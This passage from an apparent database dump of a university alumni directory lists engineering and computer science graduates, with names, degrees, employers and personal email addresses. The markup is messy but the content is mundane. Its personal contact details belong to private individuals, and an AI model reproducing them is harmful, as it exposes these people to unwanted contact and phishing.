Mühəndis</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:Vidadi.Aliyev@socar.az\">Vidadi.Aliyev@socar.az</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Magistr 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Vüsal Ələsgərov</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kompüter Elmləri</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Karvan&nbsp;2002 group /It uzre network admin</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:Fox.92.015@mail.ru\">Fox.92.015@mail.ru</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><h3 id=\"Y\">Y</h3><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Yannik Tambe</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Neft və qaz yataqlarının işlənməsi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Xəzər Universitetində doktorant</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:yannick.agbor@khazar.org\">yannick.agbor@khazar.org</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Magistr&nbsp; &nbsp;Fəxri ,2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Yusif Quliyev</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Neft-Qaz&nbsp; mühəndisliyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Magistr /Texas University</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:turbo_21@mail.ru\">turbo_21@mail.ru yusifguliyev@gmai.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><h3 id=\"Z\">Z</h3><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Zümrüd Aslanova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Neft-Qaz&nbsp; mühəndisliyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:Zumrud95@mail.ru\">Zumrud95@mail.ru</a>&nbsp;&nbsp;&nbsp;<a href=\"mailto:Zumrud95@gmail.com\">Zumrud95@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Zəhra Xudaverdiyeva</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kompüter mühəndisliyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Azecolab Keyfiyyət üzrə mütəxəssis</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:zehra.khudaverdiyeva@gmail.com\">zehra.khudaverdiyeva@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Magistr Fəxri 2016<br></p>  </div>'),(2529,1525,'en','School of Engineering and Applied Sciences','School of Engineering and Applied Sciences','<p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\" \");=\"\" text-align:=\"\" right;\"=\"\"><strong> <a href=\"#A\">A</a>&nbsp;<a href=\"#B\">B</a>&nbsp;<a href=\"#D\">D</a>&nbsp;<a href=\"#E\">E</a>&nbsp;<a href=\"#F\">F</a> <a href=\"#G\">G</a> <a href=\"#J \">J </a> <a href=\"#H \">H </a>&nbsp;<a href=\"#I\">I</a>&nbsp;<a href=\"#K \">K </a> <a href=\"#M\">M</a> <a href=\"#N\">N</a> <a href=\"#O\">O</a> <a href=\"#P\">P</a> <a href=\"#R\">R</a> <a href=\"#S\">S</a>&nbsp;<a href=\"#T\">T</a> <a href=\"#U\">U</a>&nbsp;<a href=\"#V\">V</a> <a href=\"#Y\">Y</a> <a href=\"#Z\">Z</a></strong></p><h3 id=\"A\"><strong>A</strong></h3><p><strong>Ayshan Valiyeva\r\n</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p>Computer\r\nSciences, 2017</p>\r\n<p>E-mail:\r\n<a href=\"mailto:veliyeva.ayshen92@mail.ru\">veliyeva.ayshen92[at]mail.ru</a> </p>  <p><br></p><p><strong>Anar\r\nHagverdiyev </strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p>Computer\r\nSciences, 2017</p>\r\n<p>E-mail:\r\n<a href=\"mailto:haqverdiyevanar@gmail.com\">haqverdiyevanar[at]gmail.com</a></p>\r\n<p>Wonderland\r\nEntertainment Centre</p>\r\n<p>Reception</p>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong><strong><br></strong></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong><strong>Aytekin Nabisoy</strong>&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">School of Engineering and Applied Sciences    </p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Computer Science   <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Unibank İT&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">E-mail:&nbsp;<a href=\"http://mailtoInabisoyaytekin@gmail.com/\">nabisoyaytekin@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bachelor&nbsp;-&nbsp;2009-2014</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Master -&nbsp;Khazar University</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong>Anar İbayev</strong></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong></strong></strong><span style=\"background-color:#fffffff;color:#252525\">School of Engineering and Applied Sciences</span></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Aznext LLC/\r\nTechnical advisor</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:anaribayev@gmail.com\">anaribayev@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:anaribayev@gmail.com\"></a>Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"color:#252525\">Aysel Bashirova</span></strong><span style=\"color:#252525\"></span></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Computer Engineering</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bank BTB</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"http://touch.mail.ru/compose/?mailto=mailto%3akhazar_189@mail.ru\" target=\"_blank\">khazar_189@mail.ru</a>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2012 Honor Diploma</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"color:#252525\">Arzu İlqarlı</span></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Department of Electronics,Telecommunication and Radio\r\nEngineering </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">In military service</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong>Arzu Bayramova</strong></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong></strong></strong><span style=\"color:#252525;background-color:#fffffff\">School of Engineering and Applied Sciences</span></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Computer Science</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:Arzumbayramli@gmail.com\">Arzumbayramli@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"color:#252525\">Afag Hasanli</span></strong><span style=\"color:#252525\"></span></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Computer Science</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Yapikredit bank /IT analysis\r\nassistant</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:afaghasanly95@gmail.com\">afaghasanly95@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:afaghasanly95@gmail.com\"></a>Bachelor, Honor 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><span style=\"color:#252525\">Arzu Rahimov</span></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Civil Engineering</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:engineer.rahimov@gmail.com\">engineer.rahimov@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:engineer.rahimov@gmail.com\"></a>Bachelor 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"margin-bottom:7.5pt;line-height:normal;background:#fffffff\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Abdulali Aliyev</span></strong></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">HUAWAI (Chinese company)</p>\r\n<p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:abdulalialiyev@outlook.com\">abdulalialiyev@outlook.com</a></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:abdulalialiyev@outlook.com\"></a>Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><h3 id=\"B\"><strong>B</strong></h3><p><strong>Binnat Musayev</strong><strong> </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p>Computer\r\nSciences, 2017</p>\r\n<p>E-mail:\r\n<a href=\"mailto:binnetmusayev@gmail.com\">binnetmusayev[at]gmail.com</a></p>\r\n<p>Sapienza\r\nUniversity, Master</p>  <hr noshade=\"noshade\" style=\"width:100%;height:1px\"><h3 id=\"D\" style=\"font-weight:bold\">D</h3><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Davud Huseynzade</span></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">School of Engineering and Applied Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Petroleum and Natural Gas Engineering&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">SOCAR AQS/ &nbsp;New technologies and Technical\r\nlimit engineer</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:Davudhuseynzade@gmail.com\">Davudhuseynzade@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:Davudhuseynzade@gmail.com\"></a>Bachelor Honor 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3 id=\"E\"><strong>E</strong></h3><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Eldar Mansimov</span></strong><span style=\"font-family:Arial, sans-serif;color:#252525\">&nbsp;</span></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Petroleum and Natural Gas Engineering</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">SOCAR- Drilling Engineer</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:eldarmansimov@gmail.com\">eldarmansimov@gmail.com</a>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor Degree 2008-2013&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master degree 2017-2019 Sakarya\r\nUniversity,Turkey-Geophysical Engineering</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><div><h3 id=\"F\" style=\"font-weight:bold\">F</h3><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Farid İsmayilov</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Petroleum and Natural Gas Engineering</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Czech Technical University</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:Sr.farid@yahoo.com\">Sr.farid@yahoo.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:Sr.farid@yahoo.com\"></a>Bachelor, Honor 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Fazil Baghirzadə</span></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Eurodizayn company/Network engineer</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:bagirzadeh.fazil@gmail.com\">bagirzadeh.fazil@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Farid Jafarzade</span></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Computer Science</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Fuad Jannatov</span></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Petroleum and Natural Gas Engineering</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Socar AQS &nbsp;Engineer\r\nat New Technologies and technical limit sector </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:Fuad.jannatov@yahoo.com\">Fuad.jannatov@yahoo.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:Fuad.jannatov@yahoo.com\"></a>Bachelor 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Farid Amiraslanli</span></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Civil Engineering</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:faridamiraslanli@gmail.com\">faridamiraslanli@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor, Honor 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3 id=\"G\" style=\"font-weight:bold\"><strong>G</strong></h3><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"font-weight: bold; background-image: url(\"><strong>Gunel Rasulova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">School of Engineering and Applied Sciences  </p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Computer Science<strong></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Khazar University,&nbsp;Data Analyst -&nbsp;2014</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Khazar University, Internet Education Center (2015-2016)</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">E-mail:&nbsp;<a href=\"http://mailto:gunelrasulova@gmail.com/\">gunelrasulova@gmail.com&nbsp;</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bachelor&nbsp;2009-2013</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Gunel Sabzaliyeva</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Computer Science</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:gunel.sebzeliyeva@gmail.com\">gunel.sebzeliyeva@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:gunel.sebzeliyeva@gmail.com\"></a>Bachelor 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Gunel Musayeva</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Department of Electronics,Telecommunication and Radio\r\nEngineering</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor, Honor 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"font-weight: bold; background-image: url(\"><strong></strong></p><h3 id=\"J\" style=\"font-weight:bold\"><strong>J</strong></h3><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Jeffy&nbsp;George&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">School of Engineering and Applied Sciences</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"> Petroleum&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">ABS Group&nbsp;/ Qatar&nbsp;&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><a href=\"mailto:jeffy143@gmail.com\"></a>E-mail:&nbsp;<a href=\"mailto:jeffy143@gmail.com\">jeffy143@gmail.com</a>&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" 